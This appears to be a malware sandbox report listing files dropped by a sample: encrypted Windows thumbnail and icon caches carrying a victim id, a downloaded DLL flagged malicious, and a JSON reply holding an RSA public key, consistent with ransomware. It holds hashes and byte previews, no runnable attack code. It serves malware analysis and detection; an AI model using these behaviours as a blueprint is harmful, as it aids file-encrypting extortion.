Encrypted:	false
SSDEEP:	6:IxMWmt2ccYIK5bPwcXYwYJgGtuSlRyVtC0gRD7hIqGWEsdtQpijGxssZacii96Z:IaWmctYIIbP2wYJz0FYGWEs/ixpZaciD
MD5:	75110FB755B3BD5C81BA601482E7DBB2
SHA1:	3EB79CBB79805BAF6A5AC2C68F694430FB8E10D2
SHA-256:	3FC2A338CAA4C00C61790AF001F9753614CC6CDFED278F79E62FAA16A68D1D24
SHA-512:	5A965A86B1EADE58CF331373BBB2D45659C3CB604B837FD0792A9940F67B7530673C3DE165280F9E12FE0B55107E54671B9A51319FBE45B5D111563C1604D1EA
Malicious:	false
Preview:	CMMM ...N...%/Y..X._.....d....Nu...z`...9..+N%.4.k..$.....6......t..n....&.\|T?.oB....y..g....\|.^.&.^..p..Y....0.Qe..........V.....8..E....8..xJ;..&Q...u.........i..qLh.3.-....i.Y.}]s I.0..JG..M......2..q`O.9DJ6.>..Z.......(.W{.@7q.@8.l.L.b.4......a....k.k.2r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.296005724840778
Encrypted:	false
SSDEEP:	6:0F2qzzOZxit3v3v6pu0kIch8kiSVIlEPTtfYultJZjGxssZacii96Z:SZ3kxE3vv6pu+cqqfTlt/ixpZacii9a
MD5:	D733CD0263A55121FB7C395BDE148C6F
SHA1:	3C43D55E73B8AF7CEB0ABA8972BACD13A4DE9EA5
SHA-256:	8CC8DF88DBE92171B65EBA2D60CBACBD8AD082E3DD009C919A58BDE8BC355034
SHA-512:	1246FF32B103E467450915121A0C89062AC5BE7CF861B92948641CEE06164B4F82C692C57C00F7D79973286E438B4AFCEFB6070FD7F7B276C4FB0AB0F8D7207A
Malicious:	false
Preview:	CMMM ...n$.S..I...\|......!.(.Z....8...E.l.%........K.<.$...ed.c...3........9..B.,bOg{.......x%..G(..!..GR..0`Q...i./..G......}..OL..:...D4....XC)...."A"..6M..1(#.+.aZ.r..?.5..Li..c...M&.F....M.._Yf..D..d.+..^d..cM..0;6H.b.8...a.~..w.met...3.w.....F..z.Yt...G...rKmg...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.26186377364937
Encrypted:	false
SSDEEP:	6:ZRYCH1M7/BhSABf6Mx8P9rgdCYdSE1xK4OjGxssZacii96Z:ZWCS7pQqyc8lqCAb1xK4OixpZacii9a
MD5:	3AE83CAA03A4D699B07B1E0DF591CFBD
SHA1:	859AFBC1727AFD6E4516E322743CEDBB7FBD7C24
SHA-256:	2E2BC21F4CC13A1F1566D1A403B47A8707BACBC7C2979CF921394A037CBC2FD9
SHA-512:	E19C20CA80E50B66A5BCA2F4017D369A4430F2623B93BD1ADBEF73711AA0EDDC37DCE03319B113FAA2155593107481E7816B2057D7C55F9F844F792DBFA79025
Malicious:	false
Preview:	CMMM Zk.....G?.........]wWb...p.h......fqO..&-..........P.ULu.)YGg.t. d.b...e..s..m.8..h_r...b.n..>....W.[8=....3c.$UwK.9.>...rO..r ~7ru:d~9...vM52.m.......fQw.Z.Dt...7f.*E....H.".v.G..i;L.....h....9...O?...O.&Y..4q..S.ux.e...+....w....n..>u.......X........!.~..].}Ur6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7685757859114963
Encrypted:	false
SSDEEP:	3072:kqYsDdDKgnRRXdvDLlnBEuvvO4XYmrkHXIDlq1ZZXM64CDe0bkaa:fxfFDLDFvG4XmHXrBzjeukj
MD5:	C58648F636CCF385EC4342B9728DB4F0
SHA1:	CD70F7D99F28B974212E1D14D4D4BB92B78095D3
SHA-256:	A9FFEF0E861BF45098A547088A99F72DB7B415255F48BFDF56D3276EC89DFF22
SHA-512:	28366FD7EF50A69015E29327C7D1374768D449608B11A558F84E4E353B1CC88DD7E77851F3E3F4226BC4022419588212A22DB16CEC87337D208F1CC8F4D1EECB
Malicious:	false
Preview:	CMMM ...T2..@...v.mp....l.XM...6.k7..D.XA.....g.3..r.R..n.a.N.$..->..W(..z......_w...)h.HzfB.t..9.h{......{`.u. ..&N.E.T=....3.;.SG).!...\#2M...z.TT..F._.xUb.$.<...-.....&...R...[.dv.C.(..y.....q.7.k.m'...T.j\|..'%..\].MSw...y..0..j.... ....J.v.EZ..P......+. ....^.&......^qKI."N.....j...DZR.^n}.3.5......%.......#.I...8...&.i.U<.....C..eK..19....(X.N...y..D[(3.Rf....;sm8..9../.).....t.S:...[..@....,...X.t.!.n....[....%.AR..:.v.....3tD..f...:c.....Ge. J.0.$Cm.-...Ob....0...L. ..8.1'7.hH.U....$...Qlb...cF.(U.4d.O....h..8...c....n...H.#.)...y.[5^.*.....@ks...g.d..GX.O...W.."u..S.KGe...,?.o.(]\|yHMzoM.t...u=..3\....t-.RPr..@..4f...Qk..).^.s.9...[.-..v...... .g..}....1c[!...c..0'uo1.....e.\.....".".+..<.']........C..Od.:X.l....\.j..._.M...x.9$..#.d..qZ..V.6$$v<.p..r......k...: ..~.9......1.G.f.99.......V..9..'.0sm...Q....xX(.b0...........:.S..p3.?H.a...rG..\|....w4..e.....`N^...........id...8.:....z........./-.?.".2B.........(.g$..`.{.V.S.c?{...AG7..3.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.227702520569339
Encrypted:	false
SSDEEP:	6:I9KPIr87gX9W6ajxV1L9SzEXQ7WO3jqYOI9CYBh+JnYl8zZzo42hFU9kpCI2sscm:IogFW6ajxP5SQXQ7WOnLCYuJw8zZzsuJ
MD5:	B74321233B7BDE31C35F6B680E6F7E8C
SHA1:	67773D2CCC8B09D52C2DE64661EB37FB2FD268D4
SHA-256:	DA70AFCB4314AC5740AAA4478A49741BC909BBBFD275FBD84DF5B6B5B5B75F76
SHA-512:	6A2F8DC74A9697671FEC9D46D7BC4CA02CA8BCEB9C87624B7876B0C14EFF3F42C19A07C9089F5028CC469ADA6F8CAF9D1001CC8527D4472191A780CBC10CD75C
Malicious:	false
Preview:	CMMM R.....Xo'C.d..+.4\|.p39.....?..L.F.....u.+...m.p)....\..z........7....9..M.?.].............R...Z..9.Ar-...C1 i...=_.a..s......{.X.$.[...b.4\0..#..@q.Y....k...$bg........J..WL.....\|in..<.d..~..SDl....AJG..........;."}."...+.....II...>.-H.b....B....".r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.207347893536369
Encrypted:	false
SSDEEP:	6:XhCPlzjVCKUBPyFyA5gOmShpJIc4/NHUraIFG8+U9GlkijGxssZacii96Z:xalz0pNy3gYEceHuHG0viixpZacii9a
MD5:	4EF6837C2F22F59333F98B64006FCD5A
SHA1:	849518D31A224EBED360502EC0C849710E61534F
SHA-256:	0821F1B8B68B9B3806C29735D124751C26AE858F41F3AB175DC10930096BBE86
SHA-512:	66BFA32F862A517D9C0B843237C27EBCA3A8BE7AECCD31A52C75DAE89FB295A1BAA784BC85B5F6B94E824348BE33B05EE74CFAFF97509EE199884E18E803A88E
Malicious:	false
Preview:	CMMM ..k.~....x.....m.TH...l..X.ih..C.1...o....p]R.o......)..,.4F.....<..{.'Q....pzlS...........3.......6...3..`-.u.4..(K.c.RK]^...%t....u.7....f.......<...b.L.Y7-/p.{lY..R..A......b.......z..ji.......'.z.#T.IKl.`~......E....w0.q\3.9f.R..pg<.g..> ....mv.jB..."...6n.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.768732539460023
Encrypted:	false
SSDEEP:	3072:sINxWODaLUxQTmVqAytSD4zGmp3FBf1lfZyXXggGIp40eE/fzF:lxWODaLUxQTmOSVMZyXeAhfzF
MD5:	FE17772DE6F36348F131176C3B50AC68
SHA1:	510D7A00F32B02C823C1B12A02F40DABF0FE26D3
SHA-256:	C8AFE83B00C7F469F899F6871B391EFC7FC7C48C8A4F4E39A3F621C40815FB8D
SHA-512:	0654F6CB33860E7CD80D060865F6C9921B6BBCAE10CACCFFE6EFFEBEFCA8CCA4240DE66B7C034D21669098D917F8EC35B3E67340293774A907905227C699315C
Malicious:	false
Preview:	CMMM ....7...b.3s...s$.j'..(......o7.......~..q...c..4Q.1_....J!+.UFy )PUW.3%.;.1..6I~YJ.ZD ...!.]L$.:....}.Z...F...!..;....BN...........x;.VLB......Z.Q+.#.....4.l..SMi.].....q..g..iW.M..O.4...@.zr.f..z.....N~T. .8.lk..:E;.. ...`..G..On).O.DK.U..@....f..f..h8.....%.$.+M.Y...:......H.:..r.....\.....E...R)!..G."..5.G..."s..........7..'...F....HI.P....E+x..C..z.@.F-D.... .A......O..v[qU..o...U...p.L'jW{D...7.H.~K?.S. 9.."R.o.-.....x..,......`.....{.........9;..Vf.;.r.w....s....,...Q.0..B.N.O.e.y...#...(A..w.^......zc...K....m.r....y&b9K..[.._>.......$.....}....;${...Pe.=....\|..D.x...:..p.\k.....l...n.0.t.a._2........3.g.t..\|@A.L...d..P..J.f......}......../.gH...<.y..!..,......,.Vl.U.,\|&..Q..g....m....A....H......1e8....0.?5_D.37e. .WW......$X.>`.8r...q[.Mnsr..[.?..K...n.o"........4VxT[{..O....?.~...k...\|..x.M..W.-....^Wz(.g3.{......8[.......(Sg.1.Dh.o.....6...q..Qm.....gPf.......w...o;.3hS....T...bi.8..D......jg..Dt&d.!.`...n.......

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.236065323750525
Encrypted:	false
SSDEEP:	6:JAV+ryjrq5Q4k1cQzwGkZA3MULuxzSzYH6zfraN586fN01UpmbaieqijGxssZacq:JXyrv4k1/rekMULeSz1raNu0CUpbaiiq
MD5:	D02B4632E5001E080F86F801466D2A43
SHA1:	B61FA0218DB4E8328F1FDEC9725AA92FE7FA4318
SHA-256:	E4F744CA9529AF588A757FB5D1BF0846A4E8C01553CBB35266C8D00DE087DE7E
SHA-512:	476D334AD2953023FC9ED1B421C1F5B873F5110D982FD8E9A5E2570202B29FB3AD13B3DFF940A0FA7535757D26C83D6331E70CC950A100553770839B3F6CEC7A
Malicious:	false
Preview:	CMMM .0...:].l....SW.Y)....N*.d.V.,. .D..p....76:../....e.......m\|K554..}..#;...P.Y.....8PV..MF.C]<zAf..K.L....M...x)....=....ls3....wS..G.0.!..}.a?70..@h8E,..=..._..z..t.l...B...=.....D.:.. .z....;+Q...8`h0..#Y.X&....K..Y.E.E`..6A.K....B._..R..U...5.....4.>...T.R{.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.415108442130931
Encrypted:	false
SSDEEP:	24576:TEqplVndNVw2I8wHXEH9KPaAPbpr/5T14ImqrYEB2xsBCnEIx6nE:1pfndNVegH9KyAPVr//+qrYEB2xsgnh
MD5:	109CC0F97F000F2D58E78AF319B653F6
SHA1:	FCF5460FEE943F4BFC1815E74CB4B46B6109DD0E
SHA-256:	FAE793B2D8DA77ED29C7469124EB90298244961568B429D4336D8012C890AF92
SHA-512:	49601B2EEE2B54F791A370B8640F851A9EF8729A5BCFB49C5662280525BED2B102623693030A1D887E37D175769BCCF19D57D798A11255031064206B1960A5EE
Malicious:	false
Preview:	CMMM .L.&IS6WP`.R@\.C...mW+.$....G.@.>/0......!+.`&...3.>.4.....=.......... 9d..t..g.1m.u.Bo..-`...=.....hH..r.......v...{..'...).'..@.I.V.{..p.!rJ!(.#......-.<...bh.}....[G.G.I.p.n../k...........C..Ti..0.QT.....S.l....:.\|...\|...E.46.Uq...B.......P..O% V..T.g:RU-.YQ........g..3...!H.I.L1.Z..zF@.eW....}....8.R.^...p.XG...i...tI_.,..:eZ.,.x...).4M:....9B..cC.....J.bK.#..._...E.:G...g{....G.(...K.e..;!H....#.j....^...W...Xs.@....;..RP^.S6AB..&....j...v...6....e....$@.G.....ZX.H..5.l...\..=.......y..9h(..&..........4ai.KVd.....WA.6V[rEQe;......@F..kU%x.N...+...I..x..dV...uO...c5...B..EwJ..X..s'z.`jP.9.....)........].=.......ZD..D.6n.J0.5..FY.1.#.p^...`$.q....V....T....Y.F.....$.b....F.ez..W....v..0....Y.....r......... ....'..!?w.pD..7.Y.0/..n...(..FV.f..[/.X.y...O........+<......2.v<..(.Up.Sk.6k........_-.xz.....Uo...S..?p....ku.?Lk>..b<.@!n......;.W?..MQE......z.P1.V.d..lP.e..&.N.C..R.......I.}.{]!.g.[JM..>&{..)<6.~{..^....fR.X.n?..

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.280082809785833
Encrypted:	false
SSDEEP:	6:WQlmVcuoS0b+lQn3HHXbk/oMQIu/R13Tn8FluMQ76kylzgWZbpBtLKjGxssZaciD:1mVcS0brn3HHLnVI6/3+oMQ+kylkCBA1
MD5:	2F03229AB96919852C6CC7B2201C2AF4
SHA1:	764FA56CC735E1BA19C6791D4D413FC72C334158
SHA-256:	2202FA1E03BF14D625E41DA2284C8AD322763437EAA25CD126E44E1A2E189A73
SHA-512:	C2BC610046FE66BC39DC9DDC9D8F03EE897455ACA6A8DABE5F66687458A7191E7E0A3FB30AB49518587F3C4ED5944EF427BA7E7148DBF1E0A5D2114B47FBDC65
Malicious:	false
Preview:	CMMM I.%.....p.xI'...~....f1^#.i.-\|K..7}.......-.D........l.~Y\.......{.hG......fl.0..Kx.,M....FNb..H....624....?....g1.iL.;b.kq..7.T.y..MC.\uj....p.9..40O.m2../M........u<.UsgN.l..]..........s[.B.....i.k.2.P$.....R..Z.3..^.&...v....f.LV.<>[....r..e...5f.gY..E[r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.297049384984567
Encrypted:	false
SSDEEP:	6:B7czmmnyIThuKEtyLYNi2hxaQRd6wP/dXUX9Fxrcdgo+ZjGxssZacii96Z:BINDhFEYLCi2aQztVXUDxwyokixpZacq
MD5:	C6C9C6C6A0428BA3B25E22CCB7D4D839
SHA1:	697B95035E32034C2FDD02018FF529B907B08217
SHA-256:	D9B301B52E6592D83DFE893E7737B303307AADF34B0E2725684F3FAB59A0CE1B
SHA-512:	521A99D48335E4209B3DC489E4C451EE652C1E753AE8A7D16CEDEB0CEB642BA349847AC15DAF361A19E1B572817D8A83851039BB35BB9EA85064E196A48D9773
Malicious:	false
Preview:	CMMM .......m.&.B...CZ..\|n....'....B/..I....s...?...<;?l...>.......~rM.6'u...g..b.P;'....v..NUCp....3..(./...=...4.<...O.I.z....@.>....Qc..g..3...xs..".......Ox.oW..&u.e...V!(..P8D...%"L.r'..~...:..lMRS7.:.pYad2.w.?\|..Y..mP.M..M_7..b...... .....6\|0...4 &Qa....0$..A.t.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2368569966559795
Encrypted:	false
SSDEEP:	6:EGyihs/b+bHsbT60DETQXGc+ZwfKBxL+nAwIoWjhmuZEdqdlpGe4VB+MI/jGxssW:Psbu0DEkTqU1IfNmZqdl8zdGixpZaciD
MD5:	FC79B04A5FD7DCCBFF5B4BA02DABC11A
SHA1:	8B9176D9FE02B8392F4F3D175911741558453135
SHA-256:	D4C670062C70A8D43C4D6FD62648971C381394DBEC94DB105BCCDAC8FD6CC9C8
SHA-512:	83C0317215B79C11E89D1621C7AC949BC98287268A595BC021DA8250D5C6E2C0E45A7FDA8E5BBE607A4D71B553EACA55DBA75E361EC3CDFD01F6375CAA328E38
Malicious:	false
Preview:	CMMM q.PU.W.TAB3.+......Z...(.. .^g#...A~1.........L5../Qfmzqu_.....fv0.R.^..OR-...,.....c...#......[\|..Uu..d9.K.M.3..;.I...R.M...v3.u.44+.$B...v#.w._u.-.V....1....^F~.g.l...7~..x.l.(..%....S7{...B..eI.;..."..t._...]...FJ.[..\|%l.D.`.Fq.,...5%.FF.....N..,..W.........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256374762207581
Encrypted:	false
SSDEEP:	6:IXNVSc2+ci4zJHqioH7S/qmeuiC7eUMhXM/KFWFjGxssZacii96Z:qNV1cick7S/deuiW8XM/KFWFixpZaciD
MD5:	191BE1E12EAA393A7C1F5BE3262CBBD9
SHA1:	6574F8CF11B9BD6C7690D8DA71D5BE5F4BC96832
SHA-256:	96FDA7EA07F626A8D631896A0DE5DA0329B3278A1F3AF3F34B6FB7DCFAE0BB36
SHA-512:	361BB4B1694C7CBD6E90C4E9E1C2764407254B0AE9D196389C7F3F8622425BC5D186581AD94F6B79884203BF0B413CE357F4484E3F8AD43D10CACF66841486E4
Malicious:	false
Preview:	CMMM 1..:.^f.f.Y!..c..L,..2.X...n>.D.^.M.F...7.V.tr.b.....o.L..(:hR>.....).k.F.....fRr..2.m>>.vz.ot..TL..Ws}...4}d.v.u.....H.p>.F.Zz7..>=m...#A....TN.....J.d....}......]x..m..;...Hw;......E.xo......:....Q...oP...I.!c....[.}X...m.+k..S.......P..~H..S.<i7].%,D.t.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.294156752471558
Encrypted:	false
SSDEEP:	6:J+C+7oNRCLa/xW3zIy34U8zxQvKH1QZOWR+qtX63BW/S3JpS3isd/jGxssZaciik:bIZU0SH1PWBa3JMi8/ixpZacii9a
MD5:	F26E5FA15CF2697EFDF8BAF4CC8C3574
SHA1:	8305E7D35F525EEFF3172F5EA95AEA329AFE8A83
SHA-256:	1CD9F5892A58FE1DECC2CD318F4FD7B6ED3509C654E3D4EC154189A47FC36FC8
SHA-512:	0584AE537B4B212BF733E6FA4EC451D10C7BF34A5FD691370023774C7FFBEAFFC96D356F722CE1DC47FB7F4B6FBA5641E7447C0A7070AAAF7F9EC9DAC5F271EE
Malicious:	false
Preview:	CMMM T....+.&.[T?..'.M..A..=B.y!.........c..b..6..e..Q...Y".36T..I.4q/.V...L..V.....=r.\|...fV......).c..y.5W...O..UD..Bx..Y.:...u......F...,].z...X.q\.]...s..+.~..(5.4f..^r.......Q...{....I{.J..[.}.yQ.............E.7.!on8...d.M....Z7M....>5........S..I..x....7C`...R.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqln[1].dll

Download File

Process:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: 8jvTeVxooN.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199673019888[1].htm

Download File

Process:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	34124
Entropy (8bit):	7.994826068980616
Encrypted:	true
SSDEEP:	768:KNOzH296hS1O4qOK9v3kgoc5+85OgkS4ql8H9HDPeKa:Y96hS1O4I3Ac5CZlq+9j2Ka
MD5:	DA829C4B4FEE36938F9684EB732A0BB6
SHA1:	A9AC3315DD892E82986A1869531767E20CA9F8FD
SHA-256:	660F14EB5075B1C8C4183D5AF25E3A6E38FC70FA46B7963D4DAB7917B8D07A23
SHA-512:	2A4EED6F87597BBC84D3F4215E9877DD81D4F366E8557FEB973AEBFF1B99A4618F1A5B0703FD340EB680A7701D12059CA055FAAAD55D2973AED9217F550B7489
Malicious:	true
Preview:	<!DOCm;........9...K\|._....d....b..B..y^k.d...._.v.Y..c..r.].ck..k......R...p.ma.@S.....\....,r.Hp.?Y..7I...<..y^s{.PB....3.=.Gn......).j.....2...Q\|.....)..h.A.8..=,.!{...4.w..d./)Wx.{..@3...Y..9b}..Rc...]K....+.fZ.h^b..Z......F.kL.....lS:...T.`....B....=.}x..........$...Q..0s:G..T.]..F.e=..$.......D...N......@"8.-.m{..Z..g...."A.u........k.{._;Ib..+.Lt.0.`..W.EK...".+.F_Z........Cv\|......C.....g...E.............!....` b..P.h...U..(R...........\|...e..+..}.......x;.qm <^hn.......p.c.F....a.W2..S.o....w=?.{E.6F..@j....U....z....7.(i.?.Q=;.Fz.Rz.5..."...y......a...3(...i.>w:..R.Do.'`GB....D?K..!dv_......L.Y`..Q.>.2.4E.b..p........G.Zr... s.7a.7.x.27....D%&x.D+..y}..#Gv.e....m...n<...k....P...1G...~..$h+.......O.\.Cyx...T}M.........`..D..?<V.-?.<...iUV{:#%...z.5.....`.k..y>..:...'r.....F@Z.r.$..}.......qZ5TD.$.t...Nqb.....eT/?..n..V.M-.f2..[._.r.d....s04S...O....D......D1'.e;..1.Lo....K.(=......L<.[v...T.........c......\.\9....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\get[1].htm

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	558
Entropy (8bit):	5.9641189283105875
Encrypted:	false
SSDEEP:	12:YGJ68UNbNL0zG/dDnzGPCRGhvVUppYZj50/ixpZr:YgJUNb5XDHgq/iTl
MD5:	F045B26CB70DB6CCC8DB1535B182BF4E
SHA1:	A67A8EDFA7974502DC9037F1A0550582EB86C907
SHA-256:	06B9FE6981432C1B5E056AA233EF61AC101215043F338A4F065A8FD9ED0C3C85
SHA-512:	35A4BFC0970A01D820A0FDE5E85AFCF618AD27A9BA63B3BB31D9142FA793EA33A5C291D3495157DFB67EB31DD1659359B514C77EBA6DB240EC85B34113A82971
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrKK37fmeqilqo43fmLPIG+zg6ATp\/1+RCjWyBlcmgRf\\nQVbxQd5kgkJM\/qvDuoZiSU6bEtO2Gul62Y3rVW2Ry4f8yWTC80E15UtxD5x1RU10\\nOhjVMu2+nzvF4BBiTGN4wOR+KEbmXJMx8GbyX8rKpSVM4AthODhf1O7xO8LDE3A2\\nLVb+fgXtlp+KU7InK\/ykqgYGQJ7ot1T2xhbuiI2CypYEjUWj6ryIMBtYTR27kn1G\\nnslb1JL7NiXoCSEhbYxUqUv0hVuG1eZ7WqqGumf7CKjMJXZnLoyNBfWoli2qxuRX\\nfwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\get[2].htm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	558
Entropy (8bit):	5.9641189283105875
Encrypted:	false
SSDEEP:	12:YGJ68UNbNL0zG/dDnzGPCRGhvVUppYZj50/ixpZr:YgJUNb5XDHgq/iTl
MD5:	F045B26CB70DB6CCC8DB1535B182BF4E
SHA1:	A67A8EDFA7974502DC9037F1A0550582EB86C907
SHA-256:	06B9FE6981432C1B5E056AA233EF61AC101215043F338A4F065A8FD9ED0C3C85
SHA-512:	35A4BFC0970A01D820A0FDE5E85AFCF618AD27A9BA63B3BB31D9142FA793EA33A5C291D3495157DFB67EB31DD1659359B514C77EBA6DB240EC85B34113A82971
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrKK37fmeqilqo43fmLPIG+zg6ATp\/1+RCjWyBlcmgRf\\nQVbxQd5kgkJM\/qvDuoZiSU6bEtO2Gul62Y3rVW2Ry4f8yWTC80E15UtxD5x1RU10\\nOhjVMu2+nzvF4BBiTGN4wOR+KEbmXJMx8GbyX8rKpSVM4AthODhf1O7xO8LDE3A2\\nLVb+fgXtlp+KU7InK\/ykqgYGQJ7ot1T2xhbuiI2CypYEjUWj6ryIMBtYTR27kn1G\\nnslb1JL7NiXoCSEhbYxUqUv0hVuG1eZ7WqqGumf7CKjMJXZnLoyNBfWoli2qxuRX\\nfwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5"}

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997079740425387
Encrypted:	true
SSDEEP:	1536:3REPGnbAyobzEYrK3ZOpZJmp8PWLF+HGBEwWM78hjQ:3mPGUyezhkAGBLoM7qQ
